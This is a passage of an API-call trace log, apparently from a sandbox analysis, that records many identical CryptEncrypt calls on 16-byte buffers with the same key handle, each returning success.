| out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.097] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.097] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.098] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.098] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.098] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.098] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.098] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.098] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.098] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.098] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.098] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.098] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.098] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.098] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.098] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.098] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.098] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.098] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.098] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.098] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.099] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.099] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.099] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.099] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.099] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.099] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.099] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.099] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.099] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.099] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.099] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.099] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.099] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.099] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.099] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.099] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.099] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.099] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.099] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.100] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.100] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.100] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.100] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.100] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.100] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.100] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.100] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.100] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.100] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.100] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.100] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.100] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.100] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.100] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.100] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.100] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.100] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.100] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.101] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.101] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.101] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.101] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.101] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.101] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.101] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.101] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.101] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.101] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.101] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.101] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.101] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.101] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.101] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.101] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.101] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.101] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.102] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.102] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.102] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.102] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.102] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.102] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.102] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.102] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.102] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.102] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.102] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.102] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.102] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.102] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.102] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.102] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.102] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.102] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.102] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.103] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.103] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.103] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.103] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.103] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.103] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.103] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.103] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.103] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, 